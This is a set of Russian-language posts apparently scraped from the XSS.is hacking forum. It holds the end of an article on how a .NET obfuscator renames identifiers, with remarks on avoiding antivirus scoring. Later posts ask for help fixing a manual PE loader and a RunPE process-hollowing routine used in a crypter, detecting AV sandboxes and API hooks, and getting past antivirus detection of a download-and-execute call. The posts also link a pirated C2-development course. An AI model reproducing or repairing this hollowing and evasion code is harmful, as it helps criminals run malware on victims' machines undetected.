return UniqueName(index / numUniqueChars, ".");
}
internal static void DetermineChars(Settings settings)
{
if (!string.IsNullOrWhiteSpace(settings.CustomChars))
{
uniqueChars = settings.CustomChars;
}
else if (settings.UseUnicodeNames)
{
uniqueChars = unicodeChars;
}
else if (settings.UseKoreanNames)
{
uniqueChars = koreanChars;
}
else
{
uniqueChars = defaultChars;
}
numUniqueChars = uniqueChars.Length;
string lUnicode = uniqueChars;
for (int i = 0; i < lUnicode.Length; i++)
{
for (int j = i + 1; j < lUnicode.Length; j++)
{
System.Diagnostics.Debug.Assert(lUnicode[i] != lUnicode[j], "Duplicate Char");
}
}
}
}
Для генерации имени обфускатор использует один из наборов символов: это могут
быть символы английского алфавита (без цифр, так как имя типа по-хорошему не
может начинаться с цифры, но для второго и последующих символов в имени
текущего типа цифры можно использовать, я думаю, что автор просто не стал
запариваться этим), странные символы юникода и символы из корейского языка.
Наборы английских и юникод символов захардкожены в виде констант, а корейские
символы генерируются один раз в статическом конструкторе типа. Кстати, если вы
не знали, в дотнетах статические конструкторы типов вызываются при первом
обращении к типу, будь то создание инстанса или вызов статического метода
типа. Поэтому, если, например, добавить статический конструктор типу
«
Этот метод сравнительно неплохой, когда нам хочется уменьшить объем исполняемого файла сборки, так как имена типов будут короткими (от одного до N-символов в зависимости от количества типов). Единственное, если бы я реализовывал такое, то я бы скорее всего обошелся без стека, записывая символы сразу в StringBuilder. Необходимость дополнительной коллекции в данном случае оставим под вопросом. И да, если нам хочется казаться легитимным исполняемым файлом, то куда лучше использовать для этого реально существующие слова из какого-нибудь word-листа. А использование юникода и корейских символов я бы не советовал, в этом случае сразу становится понятно, что файл скорее всего был обфусцирован, не знаю, насколько современные антивирусы способны это установить в автоматическом режиме, но в теории это может добавить отрицательных баллов исполняемому файлу в статике.
Алгоритмы переименования других имен очень похожи, поэтому вооружившись полученными знаниями, я уверен, что у вас получится их разобрать и без моего участия. После того, как обфускатор прошел все свои «правила» в методе RunRules, он сохраняет модифицированную в памяти сборку библиотекой Mono.Cecil в методе SaveAssemblies, на этом «его полномочия всё — окончены» (с). Obfuscar по функционалу достаточно примитивный обфускатор, но на его примере можно показать отдельные алгоритмы. В следующих статьях мы уже будем рассматривать более «навороченные» (хоть и задроченные) обфусктаторы, которые уже реализованы на базе библиотеки dnlib. По моему мнению, использовать Mono.Cecil для обфускации вполне возможно, но dnlib и AsmResolver предоставляют более удобное API для этого (выбирать вам, но я рекомендую AsmResolver).
На этом, я думаю, с первой частью статьи пора заканчивать, а то я опять вышел за 30к символов, такие статьи становится тяжело читать за раз. Спасибо вам, что дочитали мою статью до конца, я надеюсь, что у меня вышло в достаточно понятном виде преподнести вам необходимую базу для понимания того, как работают дотнеты и обфускаторы для них. В следующих статьях этого цикла мы будем рассматривать более сложные алгоритмы, руководствуясь этой базой. И отдельное спасибо тем ребятам, которые периодически тыкали меня со словами «дядь, когда уже статья по обфускации дотнетов, ты заебал морозить». Простите, ребятки, я всегда рад поделиться знаниями и своим особо важным мнением, но времени и сил на всё не хватает. Надеюсь, что со следующими статьями такого «крокодильева ануса» не выйдет, и ждать их не придется слишком долго.
Эта статья написана специально для вас — для моего любимого уютненького комьюнити XSS.is.
Перелазил весь инет все никак не пойму как он отрабатывает, с hvnc то понятно,
или процесс по хитрому делать, или десктоп делать, или виртуальный экран апи с
винды 10
А как работает хрдп ??
Я на гитхабе ненашел ни одного примера, я пробовал вручную делать это все, но
я не могу подключиться к себе же самому по рдп
Как быть?
Может кто подскажет как это работает?
Курс от rastamouse по разработке своего с2 на шарпе
Описание курса:
https://training.zeropointsecurity.co.uk/courses/c2-development-in-csharp
Ссылка:
![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- file.png&hash=ce6c0b08146c0d238bfdc2b2470d7b21&return_error=1)
](https://mega.nz/file/YMclUA6L#58NNEyHpx6prdaP-9N-1NiepSwvcF_C6inxsq_JE6A8)
mega.nz
Пароль: xss.is
Что я упускаю тут?
Для x86 код работает. Но для 64 где то ошибка.
C++:Copy to clipboard
#include <windows.h>
#include <stdio.h>
#include <vector>
#include <string>
void _memcpy(void* dst, const void* src, size_t size) {
BYTE* _dst = (BYTE*)dst;
BYTE* _src = (BYTE*)src;
while (size--) {
*_dst++ = *_src++;
}
}
std::vector<std::wstring> loadedDlls;
DWORD peSize;
PIMAGE_DOS_HEADER GetDosHeader(BYTE* data) {
return (PIMAGE_DOS_HEADER)data;
}
PIMAGE_NT_HEADERS GetNtHeaders(BYTE* data) {
PIMAGE_DOS_HEADER dosHeader = GetDosHeader(data);
return (PIMAGE_NT_HEADERS)(data + dosHeader->e_lfanew);
}
PIMAGE_SECTION_HEADER GetFirstSectionHeader(BYTE* data) {
PIMAGE_NT_HEADERS ntHeaders = GetNtHeaders(data);
return IMAGE_FIRST_SECTION(ntHeaders);
}
PIMAGE_IMPORT_DESCRIPTOR GetImportDescriptor(LPVOID pBase, PIMAGE_NT_HEADERS ntHeaders) {
return (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)pBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
}
PIMAGE_THUNK_DATA GetThunkData(LPVOID pBase, PIMAGE_IMPORT_DESCRIPTOR pImport, bool useOriginal) {
if (useOriginal && pImport->OriginalFirstThunk) {
return (PIMAGE_THUNK_DATA)((DWORD_PTR)pBase + pImport->OriginalFirstThunk);
} else {
return (PIMAGE_THUNK_DATA)((DWORD_PTR)pBase + pImport->FirstThunk);
}
}
FARPROC GetFunction(HMODULE hDll, PIMAGE_THUNK_DATA pThunk, LPVOID pBase) {
if (pThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
return GetProcAddress(hDll, (LPCSTR)(pThunk->u1.Ordinal & 0xFFFF));
} else {
PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)pBase + pThunk->u1.AddressOfData);
FARPROC funcAddr = GetProcAddress(hDll, pName->Name);
if (!funcAddr) {
DWORD error = GetLastError();
printf("Func not found: %d\n", error);
// обработка ошибки
}
return funcAddr;
}
}
PIMAGE_BASE_RELOCATION GetRelocationEnd(LPVOID pBase, PIMAGE_NT_HEADERS ntHeaders) {
DWORD_PTR relocationStart = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD relocationSize = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
return (PIMAGE_BASE_RELOCATION)((DWORD_PTR)pBase + relocationStart + relocationSize);
}
PIMAGE_BASE_RELOCATION GetBaseRelocation(LPVOID pBase, PIMAGE_NT_HEADERS ntHeaders) {
if ((DWORD_PTR)pBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress > (DWORD_PTR)pBase + ntHeaders->OptionalHeader.SizeOfImage) {
return NULL;
}
return (PIMAGE_BASE_RELOCATION)((DWORD_PTR)pBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
}
PIMAGE_TLS_DIRECTORY GetTlsDirectory(LPVOID pBase, PIMAGE_NT_HEADERS ntHeaders) {
return (PIMAGE_TLS_DIRECTORY)((DWORD_PTR)pBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
}
ULONGLONG getEntryPoint(LPVOID pBase, PIMAGE_NT_HEADERS ntHeaders) {
return ntHeaders->OptionalHeader.AddressOfEntryPoint;
}
DWORD GetExportedFunctionCount(LPCWSTR dllName) {
HMODULE hDll = LoadLibraryExW(dllName, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hDll) {
return 0;
}
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hDll;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hDll + pDosHeader->e_lfanew);
if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == 0) {
FreeLibrary(hDll);
return 0;
}
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hDll + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD functionCount = pExportDir->NumberOfFunctions;
FreeLibrary(hDll);
return functionCount;
}
PVOID loadPe(BYTE* peImageBuffer) {
DWORD secp2vmemp[2][2][2] = {
{{PAGE_NOACCESS, PAGE_WRITECOPY}, {PAGE_READONLY, PAGE_READWRITE}},
{{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}}
};
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peImageBuffer;
PIMAGE_NT_HEADERS ntHeaders = GetNtHeaders(peImageBuffer);
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE || (dosHeader->e_lfanew % sizeof(DWORD)) != 0) {
return NULL;
}
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
return NULL;
}
if (!ntHeaders->OptionalHeader.AddressOfEntryPoint ||
!ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) {
return NULL;
}
LPVOID pBase = VirtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pBase) {
printf("Failed to allocate memory\n");
return NULL;
}
if ((DWORD_PTR)pBase % ntHeaders->OptionalHeader.SectionAlignment != 0) {
printf("VirtualAlloc returned unaligned address\n");
VirtualFree(pBase, 0, MEM_RELEASE);
return NULL;
}
_memcpy(pBase, peImageBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);
PIMAGE_SECTION_HEADER firstSectionHeader = GetFirstSectionHeader(peImageBuffer);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
if (firstSectionHeader[i].SizeOfRawData <= firstSectionHeader[i].Misc.VirtualSize) {
_memcpy((BYTE*)pBase + firstSectionHeader[i].VirtualAddress,
peImageBuffer + firstSectionHeader[i].PointerToRawData,
firstSectionHeader[i].SizeOfRawData);
} else {
printf("SizeOfRawData is greater than the size of the section in the file.\n"); //todo: fix
_memcpy((BYTE*)pBase + firstSectionHeader[i].VirtualAddress,
peImageBuffer + firstSectionHeader[i].PointerToRawData,
firstSectionHeader[i].SizeOfRawData);
}
}
if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) {
PIMAGE_IMPORT_DESCRIPTOR pImport = GetImportDescriptor(pBase, ntHeaders);
while (pImport->Name) {
WCHAR wDllName[MAX_PATH];
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)((DWORD_PTR)pBase + pImport->Name), -1, wDllName, MAX_PATH);
HMODULE hDll = LoadLibraryW(wDllName);
if (!hDll) {
printf("dll not load!\n");
}
if (hDll) {
DWORD exportCount = GetExportedFunctionCount(wDllName);
DWORD importCount = 0;
PIMAGE_THUNK_DATA pThunk = GetThunkData(pBase, pImport, true);
PIMAGE_THUNK_DATA pFunc = GetThunkData(pBase, pImport, false);
if (!pImport->OriginalFirstThunk) {
pThunk = pFunc;
}
for (; pThunk->u1.AddressOfData; ++pFunc, ++pThunk) {
importCount++;
}
if (importCount > exportCount) {
printf("Too many functions imported!\n");
}
for (; pThunk->u1.AddressOfData; ++pFunc, ++pThunk) {
FARPROC funcAddr = GetFunction(hDll, pThunk, pBase);
if (!funcAddr) {
DWORD error = GetLastError();
// обработка ошибки
}
pFunc->u1.Function = (ULONGLONG)funcAddr;
}
}
loadedDlls.push_back(wDllName);
++pImport;
}
}
PIMAGE_BASE_RELOCATION curReloc = GetBaseRelocation(pBase, ntHeaders);
while (curReloc < GetRelocationEnd(pBase, ntHeaders) && curReloc->VirtualAddress) {
DWORD count = curReloc->SizeOfBlock / sizeof(WORD);
PDWORD curEntry = (PDWORD)(curReloc + 1);
DWORD_PTR pageVA = (DWORD_PTR)pBase + curReloc->VirtualAddress;
if ((DWORD_PTR)curReloc + curReloc->SizeOfBlock > (DWORD_PTR)pBase + ntHeaders->OptionalHeader.SizeOfImage) {
printf("Relocation block is out of bounds\n");
}
for (; count; ++curEntry, --count) {
DWORD Type = *curEntry >> 16;
DWORD Offset = *curEntry & 0xFFFF;
if (Type == IMAGE_REL_BASED_DIR64) {
if (pageVA + Offset > (DWORD_PTR)pBase + ntHeaders->OptionalHeader.SizeOfImage) {
printf("Relocation entry is out of bounds\n");
return NULL;
}
PDWORD64 dest = (PDWORD64)(pageVA + Offset);
*dest += (DWORD64)pBase - ntHeaders->OptionalHeader.ImageBase;
} else if (Type == IMAGE_REL_BASED_HIGHLOW) {
if (pageVA + Offset > (DWORD_PTR)pBase + ntHeaders->OptionalHeader.SizeOfImage) {
printf("Relocation entry is out of bounds\n");
return NULL;
}
PDWORD dest = (PDWORD)(pageVA + Offset);
*dest += (DWORD)pBase - ntHeaders->OptionalHeader.ImageBase;
}
}
curReloc = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)curReloc + curReloc->SizeOfBlock);
}
DWORD dwOldProtect;
BOOL bProtect = VirtualProtect(pBase, ntHeaders->OptionalHeader.SizeOfImage, PAGE_READWRITE, &dwOldProtect);
if (!bProtect) {
DWORD dwLastError = GetLastError();
printf("Failed to set memory protection: %d\n", dwLastError);
} else {
printf("Memory protection changed successfully\n");
}
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
if (firstSectionHeader[i].Characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
VirtualFree((LPVOID)((DWORD_PTR)pBase + firstSectionHeader[i].VirtualAddress),
firstSectionHeader[i].Misc.VirtualSize,
MEM_DECOMMIT);
continue;
}
DWORD_PTR vmemp = secp2vmemp[!!(firstSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)]
[!!(firstSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)]
[!!(firstSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE)];
if (firstSectionHeader[i].Characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
vmemp |= PAGE_NOCACHE;
}
DWORD sectionSize = firstSectionHeader[i].SizeOfRawData;
BOOL bProtect = VirtualProtect((LPVOID)((DWORD_PTR)pBase + firstSectionHeader[i].VirtualAddress),
sectionSize,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);
if (!bProtect) {
DWORD dwLastError = GetLastError();
printf("Failed to set memory protection for section %d: %d\n", i, dwLastError);
}
}
auto err = GetLastError();
if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size) {
PIMAGE_TLS_DIRECTORY pTls = GetTlsDirectory(pBase, ntHeaders);
PIMAGE_TLS_CALLBACK* pCallback = (PIMAGE_TLS_CALLBACK*)pTls->AddressOfCallBacks;
if (pCallback) {
for (; *pCallback; ++pCallback) {
(*pCallback)((LPVOID)pBase, DLL_PROCESS_ATTACH, NULL);
}
}
}
// получаем адрес функции входной точки
ULONGLONG dwEntry = getEntryPoint(pBase, ntHeaders);
if (dwEntry == 0) {
printf("Invalid entry point\n");
VirtualFree(pBase, 0, MEM_RELEASE);
return NULL;
}
// проверяем, что функция входной точки существует и не является нулевой
if ((DWORD_PTR)pBase + dwEntry > (DWORD_PTR)pBase + ntHeaders->OptionalHeader.SizeOfImage) {
printf("Invalid entry point\n");
VirtualFree(pBase, 0, MEM_RELEASE);
return NULL;
}
peSize = ntHeaders->OptionalHeader.SizeOfImage;
return (LPVOID)((DWORD_PTR)pBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
}
void* load_file_to_memory(const char* filename) {
HANDLE hFile = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
DWORD dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize == INVALID_FILE_SIZE) {
CloseHandle(hFile);
return NULL;
}
LPVOID lpFileData = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_READWRITE);
if (lpFileData == NULL) {
CloseHandle(hFile);
return NULL;
}
DWORD dwBytesRead;
if (!ReadFile(hFile, lpFileData, dwFileSize, &dwBytesRead, NULL)) {
CloseHandle(hFile);
VirtualFree(lpFileData, 0, MEM_RELEASE);
return NULL;
}
CloseHandle(hFile);
return lpFileData;
}
int main() {
void* file_data = load_file_to_memory("C:\\work\\ConsoleApplication1_messagebox_64.exe");
if (file_data == NULL) {
printf("Failed to load file\n");
return 1;
}
LPVOID pBase = loadPe(reinterpret_cast<BYTE*>(file_data));
if (pBase == NULL) {
printf("Failed to load PE\n");
return 1;
}
if (memcmp(file_data, pBase, peSize) == 0) {
printf("File and memory contents are identical\n");
} else {
printf("File and memory contents are not identical\n");
}
// вызываем функцию входной точки
typedef int(*EntryPointFunction)();
auto addr = (DWORD_PTR)pBase;
EntryPointFunction entryPoint = (EntryPointFunction)(addr);
ExitProcess(0);
}
Доброго времени суток. Прошу помочь разобраться. Есть кодес рунпе, срабатывает через раз.
C:Copy to clipboard
BOOL RunPE(PWCHAR szFilePath, PWCHAR szCommandLine, PVOID pFile)
{
typedef LONG (WINAPI *TD_NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
BOOL bResult;
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
LPSTARTUPINFOW SI;
PCONTEXT CTX;
PDWORD dwImageBase;
LPVOID pImageBase;
DWORD SizeOfInject;
int Count;
TD_NtUnmapViewOfSection NtUnmapViewOfSection;
HANDLE hPToken;
HANDLE hDupToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hPToken);
DuplicateTokenEx(hPToken,TOKEN_ALL_ACCESS,NULL,SecurityImpersonation,TokenPrimary,&hDupToken);
IDH = (PIMAGE_DOS_HEADER)pFile;
if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
{
INH = (PIMAGE_NT_HEADERS)((DWORD)(pFile) + IDH->e_lfanew);
if (INH->Signature == IMAGE_NT_SIGNATURE)
{
SI = (LPSTARTUPINFOW)VirtualAlloc(0, 1024, MEM_COMMIT, PAGE_READWRITE);
if (CreateProcessAsUserW(hDupToken, szFilePath, szCommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, SI, &PI))
{
CTX = (PCONTEXT)VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE);
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, (LPCONTEXT)CTX))
{
ReadProcessMemory(PI.hProcess, (LPCVOID)(CTX->Ebx + 8), (LPVOID)(&dwImageBase), 4, NULL);
if ((DWORD)(dwImageBase) == INH->OptionalHeader.ImageBase)
{
NtUnmapViewOfSection = (TD_NtUnmapViewOfSection)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtUnmapViewOfSection");
NtUnmapViewOfSection(PI.hProcess, (PVOID)INH->OptionalHeader.ImageBase);
}
INH->OptionalHeader.SizeOfStackCommit = 0x00002000;
INH->OptionalHeader.SizeOfStackReserve = 0x00200000;
INH->OptionalHeader.SizeOfHeapCommit = 0x00002000;
INH->OptionalHeader.SizeOfHeapReserve = 0x00200000;
SizeOfInject = INH->OptionalHeader.SizeOfImage;
pImageBase = VirtualAllocEx(PI.hProcess, (LPVOID)(INH->OptionalHeader.ImageBase), SizeOfInject, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 0x3000
if (pImageBase)
{
WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
{
ISH = (PIMAGE_SECTION_HEADER)((DWORD)(pFile) + IDH->e_lfanew + 248 + (Count * 40));
WriteProcessMemory(PI.hProcess, (LPVOID)((DWORD)(pImageBase) + ISH->VirtualAddress), (LPVOID)((DWORD)(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}
WriteProcessMemory(PI.hProcess, (LPVOID)(CTX->Ebx + 8), (LPVOID)(&INH->OptionalHeader.ImageBase), 4, NULL);
CTX->Eax = (DWORD)(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, (LPCONTEXT)(CTX));
ResumeThread(PI.hThread);
bResult = TRUE;
}
else
{
TerminateProcess(PI.hProcess, 0);
bResult = FALSE;
}
}
VirtualFree(CTX, 0, MEM_RELEASE);
}
VirtualFree(SI, 0, MEM_RELEASE);
}
}
CloseHandle(hPToken);
CloseHandle(hDupToken);
VirtualFree(pFile, 0, MEM_RELEASE);
return bResult;
}
можно сделать так
C:Copy to clipboard
if (data[0] == 0x4D)
{
while(1)
{
if (RunPE(szInjectPath, szSourcePath, data) == TRUE)
{
goto _next;
}
}
}
_next:
ExitProcess(0);
срабатывает в 9/10 случаев... как это сделать чтобы срабатывало сразу, где косяк?
Доброго времени суток. Ситуация следующая: пробую написать простейшую
программу, которая использует стандартные библиотеки с++:
#include<windows.h>
#include
#include
#include<Tchar.h>
При компиляции выбираю:
и немного недоволен, что
получившийся размер программы чуть больше мегабайта. В связи с этим вопрос,
какие есть методы уменьшения веса бинарника?
На сколько целесообразно проверять определенные апи на хуки и детектить
песочницу или эмулятор ав?
Как вообще можно задетектить ав песочницу?
Код как пример пример.
C++:Copy to clipboard
FARPROC Address = GetProcAddressBy(GetModuleHandle("kernel32.dll"),"Sleep");
if (*(BYTE*)Address == 0xE9 || *(BYTE*)Address == 0x90 || *(BYTE*)Address == 0xC3)
{
printf("Sleep hooked\n");
}
P.S Возможно есть другой какой то метод детектить хуки, буду благодарен если подскажите как лучше.
Научите, добрые люди. Хочу защитить свое приложение от дампа
Как вобше это устроено? , ну смотрите с java/C# , особо проблем думаю не будет, тобить просто переминовать переменые, и добавить пару доп классов которые данные через себя пропускать будут ,ну и коечто можно засчет каконибуть симетричного шифра накрыть, а вот с бинарнком хз подскажите.
Появилась вторая часть книги от Павла Йосифовича.
](http://libgen.gs/ads.php?md5=3f2b8ba37f7f383c1ee7a89d5faf594f)
libgen.gs
C содержанием можно ознакомиться по ссылке ниже.
](https://leanpub.com/windows10systemprogrammingpart2)
null
leanpub.com
Всех с Наступающим и уже наступившим Новым Годом!
URLDownloadToFileA(nullptr, "ссылка", "Путь до рабочего стола\\aaa.exe", 0, nullptr);
в процессе написания криптора столкнулся с этим детектом, не каким образом
снять не получается. Из за чего идёт этот детект, и как от него избавится?
Курс для сравнительных новичков, большой и довольно неплохой на первый взгляд, может кому пригодится:
https://youtube.com/playlist?list=PL3BR09unfgciJ1_K_E914nohpiOiHnpsK
"Ребята, не стоит вскрывать эту тему" - подумали системщики из Мелкософт,
раскрыв в Windows 11 полный список "классов" для NtQuerySystemInformation
, а
именно через публичные символы структуру _SYSTEM_INFORMATION_CLASS
.
Spoiler: SystemInformationClass
Code:Copy to clipboard
lkd> dt nt!_SYSTEM_INFORMATION_CLASS
SystemBasicInformation = 0n0
SystemProcessorInformation = 0n1
SystemPerformanceInformation = 0n2
SystemTimeOfDayInformation = 0n3
SystemPathInformation = 0n4
SystemProcessInformation = 0n5
SystemCallCountInformation = 0n6
SystemDeviceInformation = 0n7
SystemProcessorPerformanceInformation = 0n8
SystemFlagsInformation = 0n9
SystemCallTimeInformation = 0n10
SystemModuleInformation = 0n11
SystemLocksInformation = 0n12
SystemStackTraceInformation = 0n13
SystemPagedPoolInformation = 0n14
SystemNonPagedPoolInformation = 0n15
SystemHandleInformation = 0n16
SystemObjectInformation = 0n17
SystemPageFileInformation = 0n18
SystemVdmInstemulInformation = 0n19
SystemVdmBopInformation = 0n20
SystemFileCacheInformation = 0n21
SystemPoolTagInformation = 0n22
SystemInterruptInformation = 0n23
SystemDpcBehaviorInformation = 0n24
SystemFullMemoryInformation = 0n25
SystemLoadGdiDriverInformation = 0n26
SystemUnloadGdiDriverInformation = 0n27
SystemTimeAdjustmentInformation = 0n28
SystemSummaryMemoryInformation = 0n29
SystemMirrorMemoryInformation = 0n30
SystemPerformanceTraceInformation = 0n31
SystemObsolete0 = 0n32
SystemExceptionInformation = 0n33
SystemCrashDumpStateInformation = 0n34
SystemKernelDebuggerInformation = 0n35
SystemContextSwitchInformation = 0n36
SystemRegistryQuotaInformation = 0n37
SystemExtendServiceTableInformation = 0n38
SystemPrioritySeperation = 0n39
SystemVerifierAddDriverInformation = 0n40
SystemVerifierRemoveDriverInformation = 0n41
SystemProcessorIdleInformation = 0n42
SystemLegacyDriverInformation = 0n43
SystemCurrentTimeZoneInformation = 0n44
SystemLookasideInformation = 0n45
SystemTimeSlipNotification = 0n46
SystemSessionCreate = 0n47
SystemSessionDetach = 0n48
SystemSessionInformation = 0n49
SystemRangeStartInformation = 0n50
SystemVerifierInformation = 0n51
SystemVerifierThunkExtend = 0n52
SystemSessionProcessInformation = 0n53
SystemLoadGdiDriverInSystemSpace = 0n54
SystemNumaProcessorMap = 0n55
SystemPrefetcherInformation = 0n56
SystemExtendedProcessInformation = 0n57
SystemRecommendedSharedDataAlignment = 0n58
SystemComPlusPackage = 0n59
SystemNumaAvailableMemory = 0n60
SystemProcessorPowerInformation = 0n61
SystemEmulationBasicInformation = 0n62
SystemEmulationProcessorInformation = 0n63
SystemExtendedHandleInformation = 0n64
SystemLostDelayedWriteInformation = 0n65
SystemBigPoolInformation = 0n66
SystemSessionPoolTagInformation = 0n67
SystemSessionMappedViewInformation = 0n68
SystemHotpatchInformation = 0n69
SystemObjectSecurityMode = 0n70
SystemWatchdogTimerHandler = 0n71
SystemWatchdogTimerInformation = 0n72
SystemLogicalProcessorInformation = 0n73
SystemWow64SharedInformationObsolete = 0n74
SystemRegisterFirmwareTableInformationHandler = 0n75
SystemFirmwareTableInformation = 0n76
SystemModuleInformationEx = 0n77
SystemVerifierTriageInformation = 0n78
SystemSuperfetchInformation = 0n79
SystemMemoryListInformation = 0n80
SystemFileCacheInformationEx = 0n81
SystemThreadPriorityClientIdInformation = 0n82
SystemProcessorIdleCycleTimeInformation = 0n83
SystemVerifierCancellationInformation = 0n84
SystemProcessorPowerInformationEx = 0n85
SystemRefTraceInformation = 0n86
SystemSpecialPoolInformation = 0n87
SystemProcessIdInformation = 0n88
SystemErrorPortInformation = 0n89
SystemBootEnvironmentInformation = 0n90
SystemHypervisorInformation = 0n91
SystemVerifierInformationEx = 0n92
SystemTimeZoneInformation = 0n93
SystemImageFileExecutionOptionsInformation = 0n94
SystemCoverageInformation = 0n95
SystemPrefetchPatchInformation = 0n96
SystemVerifierFaultsInformation = 0n97
SystemSystemPartitionInformation = 0n98
SystemSystemDiskInformation = 0n99
SystemProcessorPerformanceDistribution = 0n100
SystemNumaProximityNodeInformation = 0n101
SystemDynamicTimeZoneInformation = 0n102
SystemCodeIntegrityInformation = 0n103
SystemProcessorMicrocodeUpdateInformation = 0n104
SystemProcessorBrandString = 0n105
SystemVirtualAddressInformation = 0n106
SystemLogicalProcessorAndGroupInformation = 0n107
SystemProcessorCycleTimeInformation = 0n108
SystemStoreInformation = 0n109
SystemRegistryAppendString = 0n110
SystemAitSamplingValue = 0n111
SystemVhdBootInformation = 0n112
SystemCpuQuotaInformation = 0n113
SystemNativeBasicInformation = 0n114
SystemErrorPortTimeouts = 0n115
SystemLowPriorityIoInformation = 0n116
SystemBootEntropyInformation = 0n117
SystemVerifierCountersInformation = 0n118
SystemPagedPoolInformationEx = 0n119
SystemSystemPtesInformationEx = 0n120
SystemNodeDistanceInformation = 0n121
SystemAcpiAuditInformation = 0n122
SystemBasicPerformanceInformation = 0n123
SystemQueryPerformanceCounterInformation = 0n124
SystemSessionBigPoolInformation = 0n125
SystemBootGraphicsInformation = 0n126
SystemScrubPhysicalMemoryInformation = 0n127
SystemBadPageInformation = 0n128
SystemProcessorProfileControlArea = 0n129
SystemCombinePhysicalMemoryInformation = 0n130
SystemEntropyInterruptTimingInformation = 0n131
SystemConsoleInformation = 0n132
SystemPlatformBinaryInformation = 0n133
SystemPolicyInformation = 0n134
SystemHypervisorProcessorCountInformation = 0n135
SystemDeviceDataInformation = 0n136
SystemDeviceDataEnumerationInformation = 0n137
SystemMemoryTopologyInformation = 0n138
SystemMemoryChannelInformation = 0n139
SystemBootLogoInformation = 0n140
SystemProcessorPerformanceInformationEx = 0n141
SystemCriticalProcessErrorLogInformation = 0n142
SystemSecureBootPolicyInformation = 0n143
SystemPageFileInformationEx = 0n144
SystemSecureBootInformation = 0n145
SystemEntropyInterruptTimingRawInformation = 0n146
SystemPortableWorkspaceEfiLauncherInformation = 0n147
SystemFullProcessInformation = 0n148
SystemKernelDebuggerInformationEx = 0n149
SystemBootMetadataInformation = 0n150
SystemSoftRebootInformation = 0n151
SystemElamCertificateInformation = 0n152
SystemOfflineDumpConfigInformation = 0n153
SystemProcessorFeaturesInformation = 0n154
SystemRegistryReconciliationInformation = 0n155
SystemEdidInformation = 0n156
SystemManufacturingInformation = 0n157
SystemEnergyEstimationConfigInformation = 0n158
SystemHypervisorDetailInformation = 0n159
SystemProcessorCycleStatsInformation = 0n160
SystemVmGenerationCountInformation = 0n161
SystemTrustedPlatformModuleInformation = 0n162
SystemKernelDebuggerFlags = 0n163
SystemCodeIntegrityPolicyInformation = 0n164
SystemIsolatedUserModeInformation = 0n165
